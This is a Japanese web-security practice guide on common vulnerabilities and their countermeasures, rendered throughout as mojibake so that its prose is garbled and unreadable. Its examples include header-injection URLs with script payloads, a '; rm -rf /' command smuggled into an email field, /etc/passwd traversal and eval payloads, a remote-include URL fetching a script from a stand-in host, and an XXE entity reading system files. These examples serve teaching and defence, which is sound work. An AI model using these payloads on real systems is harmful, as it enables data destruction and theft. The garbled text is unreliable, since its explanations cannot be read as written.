ð¡ïžWebã»ãã¥ãªãã£ã®ãã©ã¯ãã£ã¹é
æ¥ã ã³ã³ãã³ãã®è¿œå ã»æŽæ°ãè¡ã£ãŠããŸããçŸåšã®ã³ã³ãã³ãã¯ç®æ¬¡ãåç §ããŠãã ããã
å 容ã«èª€ãã誀解ãæã衚çŸãªã©ãããŸããããDiscussionsçµç±ã§ãææããã ããŸããšå¹žãã§ããä¿®æ£ãããŠããã ããŸããç°¡åãªè³ªåãç·©ãã³ãã¥ãã±ãŒã·ã§ã³ãåžžã«Welcomeãªã®ã§ãDiscussionsã§ã³ã¡ã³ããã ããïŒïŒ
以äžã®ãããªæŽ»çšæ¹æ³ãæ³å®ããŠããŸãã
- å®å šãªWebã¢ããªã±ãŒã·ã§ã³ã®äœãæ¹ ã å®å šãªWebãµã€ãã®äœãæ¹ãèªãåã«æŠèŠãææ¡ããã
- Webã»ãã¥ãªãã£ã®èŠç¹ãæã£åãæ©ãçè§£ããã
- Cookie
- ãªãã€ã¬ã¯ãã«é¢ããè匱æ§
- ã¡ãŒã«éä¿¡æ©èœã«é¢ããè匱æ§
- ãã¡ã€ã«ã¢ã¯ã»ã¹ã«é¢ããè匱æ§
- OSã³ãã³ãã«é¢ããè匱æ§
- ãã¡ã€ã«ã¢ããããŒãã«é¢ããè匱æ§
- ãã¡ã€ã«ã€ã³ã¯ã«ãŒãã«é¢ããè匱æ§
- æ§é åããŒã¿ã®èªã¿èŸŒã¿ã«é¢ããè匱æ§
- å ±æè³æºããã£ãã·ã¥ã«é¢ããè匱æ§
- Web APIå®è£ ã«é¢ããè匱æ§
- åè
Cookieãã»ãã¥ã¢ã«äœ¿çšãããããé©åã«Cookieã®å±æ§ãèšå®ããããšãå¿ èŠã
è€æ°ã®ããŒãžã§äœ¿çšãããããŒã¿ã Cookie ã«ä¿ç®¡ãããšãæå³ããªã圢ã§è匱æ§ã«ã€ãªããããšãããã
å€å žçãªã»ãã·ã§ã³ç®¡çïŒãµãŒããŒãµã€ãã»ãã·ã§ã³ïŒã䜿çšããã¢ããªã±ãŒã·ã§ã³ã«ãããŠããŠãŒã¶ãŒ ID ããŠãŒã¶ãŒã®æš©éæ å ±ã Cookie ã«ä¿ç®¡ãããšãå©çšè ã Cookie ã®å€ãæžãæããããšã§ãæš©éå€ã®æäœãã§ããããã«ãªã£ãŠããŸãã
å©çšè ã«ããCookieå€ã®æžãæãã
åºæ¬çã«ã¯ãSession ID ã®ã¿ã Cookie ã«ä¿ç®¡ãããŠãŒã¶ãŒ ID ãæš©éæ å ±ã¯ããµãŒãåŽã®ã¡ã¢ãªãããŒã¿ããŒã¹ã§ç®¡çãããCookieãHttpOnlyã«ããããšã§JavaScriptã«ããCookieã®æžãæããé²ãããšã¯ã§ãããããã©ãŠã¶ã®æ€èšŒããŒã«ããçŽæ¥Cookieã®æžãæããã§ããŠããŸãã®ã§ãSession ID以å€ã¯ãµãŒãåŽã§ç®¡çã
å ·äœäŸãšããŠãã¯ãšãªãã©ã¡ãŒã¿ã® next ã®å€ããã®ãŸãŸã¬ã¹ãã³ã¹ãããã«ã»ããããå®è£ ã Web ã¢ããªã«ååšããå Žåãèããã
ãŸãæ»æè
ãã以äžã®ãªã³ã¯ãã¡ãŒã«ã SNS ãªã©ã§æ¡æ£ãããexample.com
ã®å©çšè
ããã®ãªã³ã¯ãèžãã§ãã°ã€ã³ãããšãnext ãã©ã¡ãŒã¿ã§æå®ãããã¹ã«ãªãã€ã¬ã¯ãããããªãã€ã¬ã¯ãå
ã®çœ ããŒãžã§å人æ
å ±ãå
¥åãããšãå人æ
å ±ãæŒæŽ©ãããïŒãã£ãã·ã³ã°ïŒ
https://example.com/login?next=https://evil.com/phishing
å€éšãããªãã€ã¬ã¯ãå ã® URL ãæå®ã§ããå Žåã«è匱æ§ãçãŸããã
- ãªãã€ã¬ã¯ãå ã® URL ãåºå®ãã
- ãªãã€ã¬ã¯ãå ã® URL ããã®ãŸãŸæå®ãããçªå·æå®ãã
- ãªãã€ã¬ã¯ãå ã® URL ããã§ãã¯ããèš±å¯ããã URL ã«ã®ã¿é·ç§»ãã
å ·äœäŸãšããŠãã¯ãšãªãã©ã¡ãŒã¿ã® next ã®å€ããã®ãŸãŸã¬ã¹ãã³ã¹ãããã«ã»ããããå®è£ ã Web ã¢ããªã«ååšããå Žåãèããã
ãŸãæ»æè ãã以äžã®ãªã³ã¯ãã¡ãŒã«ã SNS ãªã©ã§æ¡æ£ããã
https://example.com/login?next=/dashboard%0d%0aLocation:https://evil.com
example.com
ã®å©çšè
ããã®ãªã³ã¯ãèžãã§ãã°ã€ã³ãããšãdashboard ã«é·ç§»ããã¯ãããURL ã«æ¹è¡ïŒ%0d%0a
ïŒãå«ãŸããããšã§ãLocation ããããäºéã§çæãããæåŸã® Location ãããã®ã¿ãã¬ã¹ãã³ã¹ãšããŠè¿ããããããã«ãããçœ ããŒãžã§ããhttps://evil.com
ã«é·ç§»ããã
Location: /dashboard
Location: https://evil.com
ãã®ä»ã«ããæ»æè
ã%0d%0aSet-Cookie:+SESSIONID=123
ã URL ã«è¿œå ããããšã§ãSet-Cookie ããããã€ã³ãžã§ã¯ã·ã§ã³ããã¬ã¹ãã³ã¹ãšããŠè¿åŽããããšã§ãä»»æã® Cookie ãå©çšè
ã®ãã©ãŠã¶ã«ä¿åãããã
ããã«ãããã»ãã·ã§ã³ ID ã®åºå®åæ»æãå¯èœã«ãªãã
ãŸãã以äžã®ããã« URL ã«æ¹è¡ãïŒã€è¿œå ããããšã§ãä»»æã®ã³ã³ãã³ããã¬ã¹ãã³ã¹ããã£ãšããŠè¿åŽãããã©ãŠã¶ã«è¡šç€ºãããããšãå¯èœã§ããããããã®ã³ã³ãã³ãã«ã¯ãåãªãæååã ãã§ãªãã<html></html>
ã <script></script>
ãå«ãŸããã®ã§ãçµæçã« XSS æ»æã«ã€ãªããã
https://example.com/login?next=/dashboard%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
HTTP ãããã¯ãæ¹è¡ã§åããããåºåãããïŒè¡ã« 1 ã€ã®ããããæã€æ§é ãããŠããããã®ãããæ¹è¡ããã®ãŸãŸåºåããããšã§ãHTTP ãããã»ã€ã³ãžã§ã¯ã·ã§ã³è匱æ§ãçãŸããã
å€éšããå ¥åããããã©ã¡ãŒã¿ãã¬ã¹ãã³ã¹ããããšããŠãã®ãŸãŸåºåãããWeb éçºçšã®èšèªã»ãã¬ãŒã ã¯ãŒã¯ã§æäŸãããŠãããããåºåçš API ã䜿çšãããAPI ãæäŸãããŠããªãå Žåã¯ãéçºè ãæ¹è¡æåãèš±å¯ããªãå®è£ ãè¡ãã
å®å šãªãŠã§ããµã€ãã®äœãæ¹ - 1.7 HTTP ãããã»ã€ã³ãžã§ã¯ã·ã§ã³
ã¡ãŒã«éä¿¡çšãã©ãŒã ãæã€ Web ã¢ããªã§çºçããè匱æ§ã
å ·äœäŸãšããŠã以äžã®ãããªåãåãããã©ãŒã ãæã€ Web ã¢ããªãèããããã®ãã©ãŒã ã¯ãå©çšè ã®ã¡ãŒã«ã¢ãã¬ã¹ã𿬿ãåãåããWeb ã¢ããªã®ç®¡çè ã«åãåããã®ã¡ãŒã«ãéä¿¡ããã
<form action="http://example.com" method="post">
ã¡ãŒã«ã¢ãã¬ã¹: <textarea name="from" rows="4"></textarea>
æ¬æ:<textarea name="body" rows="10"></textarea>
<button type="submit">éä¿¡</button>
</form>
ãŠãŒã¶ãŒãã¡ãŒã«ã¢ãã¬ã¹æ¬ã«ä»¥äžã®ãããªå ¥åãããå Žåã
ã¢ããªã±ãŒã·ã§ã³ãæ¹è¡ãé©åã«åŠçããªããŸãŸããããšããŠåºåããå Žåã以äžã®ãããªã¡ãŒã«ããããäœæããããçµæãšããŠãBcc ã§ç¬¬äžè ã«ã¡ãŒã«ãéä¿¡ã§ããŠããŸãã
From: [email protected]
Bcc: [email protected]
ä»åã®äŸã¯å®å ã®è¿œå ã ãã ããæ¬æã®æ¹ãããæ·»ä»ãã¡ã€ã«ïŒãŠã€ã«ã¹ãã¡ã€ã«ïŒã®éä¿¡ãå¯èœãªã®ã§ãããããçµã¿åãããããšã§ãåãåãããã©ãŒã çµç±ã§ç¬¬äžè ã«è¿·æã¡ãŒã«ã®éä¿¡ãå¯èœãšãªãã
ã¡ãŒã«ã¡ãã»ãŒãžã®åœ¢åŒã¯ HTTP ãšäŒŒã圢åŒãæã£ãŠãããå ·äœçã«ã¯ãåããããæ¹è¡ã§åºåããã空è¡ã®åŸã«ããã£ãç¶ããšãã圢åŒã§ããããã®ãããã¢ããªã±ãŒã·ã§ã³ãå€éšããå ¥åãããæ¹è¡ä»ãã®ãã©ã¡ãŒã¿ãããããšããŠãã®ãŸãŸäœ¿çšããããšã§ãè匱æ§ãçãŸããã
- ã¡ãŒã«éä¿¡å°çšã®ã©ã€ãã©ãªã䜿çšãã
- å€éšããå ¥åããããã©ã¡ãŒã¿ããããã§äœ¿çšããªã
- å€éšããå ¥åããããã©ã¡ãŒã¿ã«æ¹è¡ãå«ãŸããªãããã§ãã¯ãã
- ä¿éºç察çãšããŠãä»¶åãšã¡ãŒã«ã¢ãã¬ã¹ã®å ¥å倿€èšŒãè¡ã
å€éšããã®ãã©ã¡ãŒã¿ã§ãã¡ã€ã«åãçŽæ¥æå®ã§ããã¢ããªã±ãŒã·ã§ã³ã§ããã¡ã€ã«åã®ãã§ãã¯ãäžååã®å Žåãå€éšããã®ã¢ã¯ã»ã¹ãæ³å®ããŠããªããµãŒãå ã®ãã¡ã€ã«ã®é²èŠ§ãæ¹ãããåé€ãå¯èœãšãªãã
以äžã®ããã«ã¯ãšãªãã©ã¡ãŒã¿file
ã«ãã¡ã€ã«åãæå®ããããšã§ã/var/public/public.txt
ãžã®ã¢ã¯ã»ã¹ãæ³å®ããã±ãŒã¹ã§ã
http://example.com/profile?file=public.txt
ãã£ã¬ã¯ããªåïŒ../
ãetc/
ïŒãå«ããã¡ã€ã«åãæå®ãããšã/etc/private.txt
ãšããå€éšãžå
¬éããŠã¯ãããªããã¡ã€ã«ãé²åºããŠããŸãã
http://example.com/profile?file=../../etc/private.txt
- å€éšãããã¡ã€ã«åãæå®ã§ãã
- ãã¡ã€ã«åã§ãã£ã¬ã¯ããªåãæå®ã§ããïŒ
../
ãªã©ïŒ - å€éšããæž¡ããããã¡ã€ã«åããã§ãã¯ããŠããªã
- å€éšãããã¡ã€ã«åãæå®ã§ããªã仿§ã«ããïŒãã¡ã€ã«åãåºå®ã«ãã etc...ïŒ
- ãã¡ã€ã«åã«ãã£ã¬ã¯ããªåãå«ãŸããªãããã«ãã
- ãã¡ã€ã«åãè±æ°åã®ã¿ã«éå®ããïŒãã«ãã€ããªã©ã®å¶éæåãèš±å¯ããªãïŒ
- WebãµãŒãå ã®ãã¡ã€ã«ã«ã¢ã¯ã»ã¹æš©éãèšå®ãã
OSã³ãã³ãã»ã€ã³ãžã§ã¯ã·ã§ã³æ»æã«ãã被害ã¯ä»¥äžã®ããã«å€å²ã«ããã圱é¿ã倧ããããã察çãå¿ èŠã
- ãµãŒãå ãã¡ã€ã«ã®é²èŠ§ãæ¹ãããåé€
- äžæ£ãªã·ã¹ãã æäœ
- äžæ£ãªããã°ã©ã ã®ããŠã³ããŒã
- å¥ã·ã¹ãã ãžã®æ»æã®èžã¿å°
OSã³ãã³ãã»ã€ã³ãžã§ã¯ã·ã§ã³è匱æ§ãååšããã¢ããªã±ãŒã·ã§ã³ã§ã¯ããŠãŒã¶ãŒããã®å ¥åå€ããã§ãã¯ããã«ãOSã³ãã³ãã®ãã©ã¡ãŒã¿ãšããŠãã®ãŸãŸæž¡ããŠããŸããšãæå³ããªãã³ãã³ããå®è¡å¯èœã«ãªããé倧ãªè¢«å®³ãçãå¯èœæ§ãããã
äŸãã°ããŠãŒã¶ãŒããéä¿¡å
ã¡ãŒã«ã¢ãã¬ã¹ãåãåããOSã³ãã³ãåŒã³åºãã«ããã¡ãŒã«ãéä¿¡ããæ©èœããããšãããéåžžã®å
¥åäŸã¯ [email protected]
ãããããæªæã®ãããŠãŒã¶ãŒã以äžã®ããã«å
¥åããå Žåã
[email protected]; rm -rf /
;
ã¯ã·ã§ã«ã«ãããã³ãã³ãã®åºåããšããŠè§£éããããããæåã®ã¡ãŒã«éä¿¡çšã³ãã³ããçµäºããåŸã«ãç¶ããŠrm -rf /
ãå®è¡ãããŠããŸããã·ã¹ãã äžã®å
šãŠã®ãã¡ã€ã«ãåé€ãããããšã«ãªãã
- ã·ã§ã«çµç±ã§OSã³ãã³ããå®è¡ã§ãã颿°ãå©çšããŠãã
- ãã®é¢æ°ã«å€éšããã®ãã©ã¡ãŒã¿ãæž¡ããŠãããããã«å«ãŸããã·ã§ã«ã®ã¡ã¿æåïŒ
;
|
ãªã©ïŒããšã¹ã±ãŒãããŠããªã
- OSã³ãã³ããçŽæ¥åŒã³åºãããã©ã€ãã©ãªãæäŸãã颿°ã䜿çš
- ã·ã§ã«çµç±ã§ã³ãã³ãåŒã³åºãã§ãã颿°ã䜿çšãããä»ã®å®è£ æ¹æ³ã§ä»£æ¿ãã©ãããŠã䜿çšãããå Žåã¯ãå€éšããå ¥åããããã©ã¡ãŒã¿ãã³ãã³ãã®åŒæ°ã§æž¡ããªããåŒæ°ã§æž¡ãå Žåã¯ãã·ã§ã«ã®ã¡ã¿æåããšã¹ã±ãŒããã
ãã¡ã€ã«ã¢ããããŒãæ©èœãæã€Webã¢ããªã«å¯ŸããŠã倧容éã®ãã¡ã€ã«ãç¹°ãè¿ãã¢ããããŒãããããšã§ãµãŒãã®CPUãã¡ã¢ãªã«é床ãªè² è·ãããããµãŒãã¹ãé å»¶ãŸãã¯åæ¢ãããæ»æãDoSæ»æïŒDenial of Service AttackïŒãšããã
ã¢ããããŒãã§ãããã¡ã€ã«ã®å®¹éå¶éã®èšå®ããªãããšã
ã¢ããªã±ãŒã·ã§ã³ãŸãã¯WebãµãŒãã§ãã¢ããããŒãå¯èœãªãã¡ã€ã«å®¹éãå¶éããèšå®ãè¡ãã
ãã¡ã€ã«ã¢ããããŒãæ©èœãæã€Webã¢ããªã«å¯ŸããŠããµãŒãã§å®è¡å¯èœãªã¹ã¯ãªãããã¡ã€ã«ïŒäŸïŒ.php
ã.jsp
ãªã©ïŒãã¢ããããŒãã§ããŠããŸãå Žåããã®ãã¡ã€ã«ããµãŒãäžã§å®è¡ããã以äžã®ãããªè¢«å®³ãçºçããå¯èœæ§ãããã
- ãµãŒãå ãã¡ã€ã«ã®é²èŠ§ãæ¹ãããåé€
- äžæ£ãªã·ã¹ãã æäœ
- å¥ã·ã¹ãã ãžã®æ»æã®èžã¿å°
- å©çšè ã«ãã£ãŠã¢ããããŒããããã¹ã¯ãªãããã¡ã€ã«ãWebãµãŒãã®å ¬éãã£ã¬ã¯ããªã«ä¿åãããå©çšè ãããããçŽæ¥åŒã³åºããå ŽåããµãŒãäžã§ããã°ã©ã ãå®è¡ããã
- ã¢ããããŒãããããã¡ã€ã«ãã¹ã¯ãªãããšããŠå®è¡å¯èœãªæ¡åŒµåããã€
- å©çšè ã«ãã£ãŠã¢ããããŒãããããã¡ã€ã«ãå ¬éãã£ã¬ã¯ããªã«é 眮ãããå©çšè ãçŽã¢ã¯ã»ã¹ã§ããªãããã«ãããã¢ããªã±ãŒã·ã§ã³çµç±ã§é²èЧããã
- ã¢ããããŒãããããã¡ã€ã«ã®æ¡åŒµåããã§ãã¯ãã
ã¢ãã³ãªWebã¢ããªã§ã¯ãç»åãã¡ã€ã«ãªã©ã®éçã³ã³ãã³ãã¯ãªããžã§ã¯ãã¹ãã¬ãŒãžãµãŒãã¹ãCDNããé ä¿¡ãããããšãäžè¬çããã®å Žåã®å¯Ÿçæ¹æ³ã«ã€ããŠã¯èŠç¢ºèªã
ãã¡ã€ã«ããŠã³ããŒãæã«ééã£ãContent-Type
ãæå®ããããšãXSSã«ãªãå ŽåããããäŸãã°ã以äžã®PDFãã¡ã€ã«ãã¬ã¹ãã³ã¹ãšããŠè¿åŽããéã«ãContent-Type: text/html
ããééã£ãContent-Type
ãæå®ãããŠãããšããã©ãŠã¶ãã¬ã¹ãã³ã¹ã HTMLãšããŠè§£éãã<script>
ãå®è¡ãããŠããŸãå¯èœæ§ãããã
<script>
localStorage.getItem('access-token');
</script>
- ééã£ã
Content-Type
ã®æå®
ã¢ããããŒããã¡ã€ã«ããµãŒãäžã§å®è¡ãããè匱æ§ãžã®å¯Ÿçãšåæ§ã«ããã¡ã€ã«ã¢ããããŒãæã«æ¡åŒµåã®ãã§ãã¯ãè¡ã£ãäžã§ã以äžãè¡ãã ã
-
æ£ãã
Content-Type
ã®æå®ïŒå¿ é ïŒ -
ã¬ã¹ãã³ã¹ãããã«
X-Content-Type-Options: nosniff
ã远å ïŒå¿ é ïŒâ
Content-Type
ã®ã¿ããã³ã³ãã³ãã¿ã€ããè§£éããããã«ãªã -
ã¬ã¹ãã³ã¹ãããã«
Content-Disposition: attachment
ã远å ïŒå¿ èŠã«å¿ããŠïŒâ 以äžãæå®ããããšã§ãããŠã³ããŒããããã¡ã€ã«ãã¢ããªã±ãŒã·ã§ã³ã§éãã®ã§ã¯ãªããããŒã«ã«ã«ä¿åãããã
Content-Type: application/octet-streamïŒå¿
èŠã«å¿ããŠïŒ
Content-Disposition: attachment; filename="defaultfilename.pdf"
Adobeã®ãšã³ã·ã¹ãã ã¯ãPDFãã¡ã€ã«ã«åã蟌ãããšãã§ããFormCalcãšããã¹ã¯ãªããèšèªãæäŸããŠãããAdobe Acrobat Readerãã©ã°ã€ã³ãåãããã©ãŠã¶ã§ãFormCalcãåã蟌ãŸããPDFãéããšãåã蟌ãŸããã¹ã¯ãªãããå®è¡ãããã ãã®URL颿°ãæªçšããããšã§ãæå®ãããURLã«äžæ£ãªãªã¯ãšã¹ããéä¿¡ããWebãµã€ãã®æ£èŠãŠãŒã¶ãŒãè£ ã£ãŠç§å¯æ å ±ãååŸããæ»æææ³ãååšããã
- Adobe Acrobat Readerã®ä»æ§
PDFãã¡ã€ã«ã®ã¢ããããŒãæ©èœãå¿ èŠãã©ããæ€èšãããå¿ èŠãªå Žåã¯ä»¥äžã®å¯Ÿçãè¡ãã
- PDFãã¡ã€ã«ããã©ãŠã¶ã§éãããããŠã³ããŒããããããŠã³ããŒãã匷å¶ããããã«ã以äžã®ã¬ã¹ãã³ã¹ããããåºåã
- çœ ãµã€ãã«èšçœ®ããã
<object>
ã<embed>
èŠçŽ çµç±ã§PDFãã¡ã€ã«ãéããªãããã«ãPDFãã¡ã€ã«ããŠã³ããŒãæã«POSTãªã¯ãšã¹ãã®ã¿ãèš±å¯ãã
Content-Type: application/octet-streamïŒå¿
èŠã«å¿ããŠïŒ
Content-Disposition: attachment; filename="defaultfilename.pdf"
PHPãªã©ã®ã¹ã¯ãªããèšèªã§ã¯ãincludeçã䜿çšããŠå¥ãã¡ã€ã«ãããœãŒã¹ã®äžéšãèªã¿èŸŒãããšãã§ããããã®éã«ãinclude察象ã®ãã¡ã€ã«åãå€éšããæå®ã§ããå Žåããã¡ã€ã«ã€ã³ã¯ã«ãŒãè匱æ§ãçãŸããã
ãã¡ã€ã«ã€ã³ã¯ã«ãŒãè匱æ§ã«ã¯ã倧ãã2çš®é¡ãããæ»æè ãæ»æå¯Ÿè±¡ãµãŒãå ã®ãã¡ã€ã«ã«äžæ£ã¢ã¯ã»ã¹ããããŒã«ã«ãã¡ã€ã«ã€ã³ã¯ã«ãŒãïŒLFIïŒè匱æ§ãšãæªæã®ãããã¡ã€ã«ãå®è¡ãããªã¢ãŒããã¡ã€ã«ã€ã³ã¯ã«ãŒãïŒRFIïŒè匱æ§ãååšããã ã
ããŒã«ã«ãã¡ã€ã«ã€ã³ã¯ã«ãŒãæ»æ
ã¯ãšãªãã©ã¡ãŒã¿file
ã§æå®ããããã¡ã€ã«åãinclude察象ã®ãã¡ã€ã«ãšããŠåçã«èšå®ãããã®ãã¡ã€ã«ã®å
容ããã©ãŠã¶ã«è¡šç€ºããå®è£
ãååšããå Žåãèããã
æ»æè
ããã£ã¬ã¯ããªã»ãã©ããŒãµã«æ»æãå¿çšãã以äžã®URLãå
¥åããããšã§ãWebãµãŒãäžã®/etc/passwd
ã®å
容ã衚瀺ãããæ©å¯æ
å ±ãæŒæŽ©ããã
http://example.com/page.php?file=../../../../etc/passwd
ãªã¢ãŒããã¡ã€ã«ã€ã³ã¯ã«ãŒãæ»æ
ãªã¢ãŒããã¡ã€ã«ã€ã³ã¯ã«ãŒãã®å Žåã¯ãæ»æè
ãå€éšãµãŒãã«çšæããæªæã®ããã¹ã¯ãªãããã¯ãšãªãã©ã¡ãŒã¿file
ã«æå®ãããããinclude察象ã®ãã¡ã€ã«ãšããŠåçã«èšå®ãããå Žåããã®ã¹ã¯ãªããããµãŒãäžã§å®è¡ãããããšã§ããµã€ãã®æ¹ããããäžæ£ãªæ©èœã®å®è¡ãå¯èœã«ãªãã
http://example.com/page.php?file=http://www.trap.com/malicious
- include察象ã®ãã¡ã€ã«ãå€éšããæå®ã§ãã
- include察象ã®ãã¡ã€ã«åã®ãã§ãã¯ãããŠããªã
åºæ¬çã«ã¯ããã£ã¬ã¯ããªã»ãã©ããŒãµã«ã®å¯Ÿçãšåãã
- å€éšãããã¡ã€ã«åãæå®ã§ããªã仿§ã«ãã
- ãã¡ã€ã«åã«ãã£ã¬ã¯ããªåãå«ãŸããªãããã«ãã
- ãã¡ã€ã«åãè±æ°åã®ã¿ã«éå®ããïŒãã«ãã€ããªã©ã®å¶éæåãèš±å¯ããªãïŒ
ããã°ã©ãã³ã°èšèªã®äžã«ã¯ãæååã§äžããããåŒæ°ãã³ãŒããšããŠè§£éã»å®è¡ããeval
颿°ããã³ããã«çžåœããæ©èœãæäŸããŠãããã®ãããããã®é¢æ°ã«ãå€éšããã®ãã©ã¡ãŒã¿ãçŽæ¥æž¡ããŠããå Žåãã¹ã¯ãªãããæ³šå
¥ã§ããè匱æ§ãååšããã
äŸãã°ãæ»æè
ãå
¥åãã©ãŒã ã«system("cat /etc/passwd");
ãå
¥åãã以äžã®URLã«GETãªã¯ãšã¹ããéä¿¡ãããã±ãŒã¹ãèããã
http://example.com/page.php?data=system("cat /etc/passwd");
ãã®ãšãããµãŒãåŽã§ã¯ãšãªãã©ã¡ãŒã¿data
ã®å€ããã·ãªã¢ã©ã€ãºããããã«ãeval
颿°ã«data
ããã®ãŸãŸæž¡ãå®è£
ãååšããå Žåãsystem("cat /etc/passwd");
ãã³ãŒããšããŠè§£éã»å®è¡ãããã
ä»åã®ã±ãŒã¹ã¯ãcat /etc/passwd
ã®å®è¡ã«ããããµãŒãå
ã®ç§å¯æ
å ±ãå€éšã«æŒæŽ©ããäŸã ãããã®ä»ã«ããµã€ãã®æ¹ããããäžæ£æ©èœã®å®è¡ãªã©ãOSã³ãã³ãã»ã€ã³ãžã§ã¯ã·ã§ã³æ»æãšåæ§ã®è¢«å®³ãçºçããã
-
eval颿°ã®äœ¿çšèªäœãå±éº
â MDN Web Docs ã PHPããã¥ã¡ã³ãã§ã
eval()
ã䜿çšããªãããã«èšåãããŠãã -
eval颿°ã«äžãããã©ã¡ãŒã¿ã®ãã§ãã¯ãããŠããªã
- evalçžåœã®é¢æ°ã»æ©èœã䜿çšããªã
- eval颿°ã®åŒæ°ã«å€éšããã®ãã©ã¡ãŒã¿ãæž¡ããªããæž¡ãå Žåã¯ãå€éšããã®ãã©ã¡ãŒã¿ãè±æ°åã®ã¿ã«å¶éãã
å€éšããã®å€ããã®ãŸãŸãã·ãªã¢ã©ã€ãºããåŠçãååšããã¢ããªã±ãŒã·ã§ã³ã§ã¯ããã·ãªã¢ã©ã€ãºã«ããæå³ããªããªããžã§ã¯ããçæããããããã®ã¡ãœãããå®è¡ãããããšã§ãæ å ±æŒæŽ©ãå«ãOSã³ãã³ãã»ã€ã³ãžã§ã¯ã·ã§ã³ãšåæ§ã®è¢«å®³ãçºçããå¯èœæ§ãããã
å
·äœçã«ã¯ãæ»æè
ãã·ãªã¢ã©ã€ãºããããªããžã§ã¯ãAãCookieãhiddenãã©ã¡ãŒã¿çµç±ã§æ³šå
¥ããããããã·ãªã¢ã©ã€ãºãããããšã§ãæå³ããªã圢ã§ãªããžã§ã¯ãAãã¢ããªã±ãŒã·ã§ã³å
ã«çæããããããã«ãããã¯ã©ã¹Aã«__destruct()
ãªã©ã®ããžãã¯ã¡ãœãããååšããå ŽåïŒPHPã®ã±ãŒã¹ïŒãããããå®è¡ãããããšã§è¢«å®³ãçºçããã
ã
ãã ããå€éšããæ³šå ¥ããããªããžã§ã¯ãã«å¯Ÿå¿ããã¯ã©ã¹ãã¢ããªã±ãŒã·ã§ã³å ã«ååšããå¿ èŠãããã
- å€éšããã®ããŒã¿ããã®ãŸãŸãã·ãªã¢ã©ã€ãºããåŠçãååšãã
- ã·ãªã¢ã©ã€ãºåœ¢åŒã§ã¯ãªãJSONã§ããŒã¿ãåãæž¡ã
- å©çšè ãæžãæãã§ããCookieãinputãã©ã¡ãŒã¿ã§ã¯ãªããã»ãã·ã§ã³å€æ°ã䜿çšããŠã·ãªã¢ã©ã€ãºåœ¢åŒã®ããŒã¿ãåãæž¡ããã
PHPã§å®å šã§ãªããã·ãªã¢ã©ã€ãŒãŒã·ã§ã³ãåŠãŒã
XMLã«ã¯ãå€éšå®äœåç §æ©èœãšããå€éšãã¡ã€ã«ãåç §ããæ©èœãååšãããããæªçšããæ»æãXMLå€éšå®äœåç §æ»æïŒXXEïŒãšåŒã¶ãXXEã«ãããæ å ±æŒæŽ©ãä»ã·ã¹ãã ãžã®èžã¿å°æ»æãçºçããã ãã
å
·äœçã«ã¯ãå©çšè
ããã©ãŒã å
¥åããã¡ã€ã«ã¢ããããŒãæ©èœãéããŠXML圢åŒã®ããŒã¿ããµãŒãåŽã«éä¿¡ã§ããå Žåãèããã
以äžã®XML圢åŒã®ããŒã¿ããµãŒãã«éä¿¡ããããµãŒãåŽã§XMLãHTMLã«å€æããWebããŒãžãšããŠè¡šç€ºããå®è£
ãååšããå ŽåãWebãµãŒãå
ã®éå
¬éãã¡ã€ã«/etc/passwd
ãå€éšã«æŒæŽ©ããå¯èœæ§ãããã
<!DOCTYPE foo [
<!ENTITY email SYSTEM "/etc/passwd">
]>
<user>
<email>&email;</email>
</user>
å
ã®äŸã§ã¯ãWebãµãŒãå
éšã®ãã¡ã€ã«ã®æŒæŽ©ãæ±ã£ãããSYSTEM "http://attacker.com"
ãªã©ã®URLãæå®ããããšã§å€éšãªãœãŒã¹ãèªã¿èŸŒãããšãå¯èœã§ããã
- XMLã®æã€æ©èœãæªçšããæ»æã§ãããã¢ããªã±ãŒã·ã§ã³ã®ãã°ã§ã¯ãªã
- XMLã§ã¯ãªãJSONã䜿çšãã
- XMLã䜿çšããå¿ èŠãããå Žåã¯ãå€éšå®äœåç §ãããã¯DTDãçŠæ¢ããèšå®ãè¡ã
PHPã®XMLããŒã¹åŠçã§äœ¿çšãããlibxml2ãšããã©ã€ãã©ãªã¯ãå®å šãªWebã¢ããªã±ãŒã·ã§ã³ã®äœãæ¹ ç¬¬2ç p.369ã§ã¯ãå€éšå®äœåç §ãããã©ã«ãã§ç¡å¹ã«ãªã£ãŠãããããXXEè匱æ§ã¯ååšããªããšèšèŒãããŠããããããããlibxml2ãã«XXEèåŒ±æ§ - å©çšã¢ããªã«åœ±é¿ã§ãlibxml2ã®XXEè匱æ§ãèšåãããŠãããããã¢ããªã±ãŒã·ã§ã³åŽã§ã®å¯Ÿçãå¿ èŠãšæãããããã
Javaã®å Žåãå€ãã®XMLããŒãµã«ãããŠå€éšå®äœåç §ãããã©ã«ãã§æå¹ãªãããã¢ããªã±ãŒã·ã§ã³åŽã§DTDãçŠæ¢ãããªã©ã®å¯Ÿçãå¿ èŠã«ãªããDTDãç¡å¹ã«ããæ¹æ³ã«ã€ããŠã¯ãXML å€éšãšã³ãã£ã㣠ã€ã³ãžã§ã¯ã·ã§ã³ãåç §ã
è€æ°ã®ã¹ã¬ãããããã»ã¹ãå ±æã¡ã¢ãªããã¡ã€ã«ãããŒã¿ããŒã¹ãªã©ã®å ±æè³æºã«åæã«ã¢ã¯ã»ã¹ããå ŽåãããŒã¿ãåŠçã®æŽåæ§ãä¿èšŒãããããæä»å¶åŸ¡ãå¿ èŠã§ãããããããæä»å¶åŸ¡ãé©åã«å®è£ ãããŠããªãå Žåãä»äººã®å人æ å ±ã衚瀺ãããããããŒã¿ããŒã¹ã®äžæŽåã®åé¡ãªã©ãçºçããã ã
- é©åãªæä»å¶åŸ¡ã®å®è£ ãè¡ãããŠããªã
- å ±æè³æºã«å¯ŸããŠé©åãªæä»å¶åŸ¡ãå®è£ ãã
Webã¢ããªã±ãŒã·ã§ã³ã®å€ãã¯ãã¬ã¹ãã³ã¹ã®é«éåãè² è·åæ£ã®ããã«ãªããŒã¹ãããã·ãCDNãªã©ã®ãã£ãã·ã¥æ©èœã䜿çšããŠããããããããã£ãã·ã¥èšå®ã«åé¡ãããå Žåãæ å ±æŒæŽ©ã«ã€ãªããããšãããã
å
·äœçã«ã¯ãã¢ããªã±ãŒã·ã§ã³ãããŠãŒã¶ãŒæ
å ±ãå«ããã€ããŒãžãCache-Control: public, max-age=180
ããããšãšãã«ã¬ã¹ãã³ã¹ãšããŠè¿åŽãããšããã£ãã·ã¥ãµãŒãã¯ãã®ããŒãžããã£ãã·ã¥ããããã®åŸãä»ã®ãŠãŒã¶ãŒããã€ããŒãžååŸçšã®ãªã¯ãšã¹ããéä¿¡ãããšããã£ãã·ã¥ãµãŒãããå¥ã®ãŠãŒã¶ãŒã®å人æ
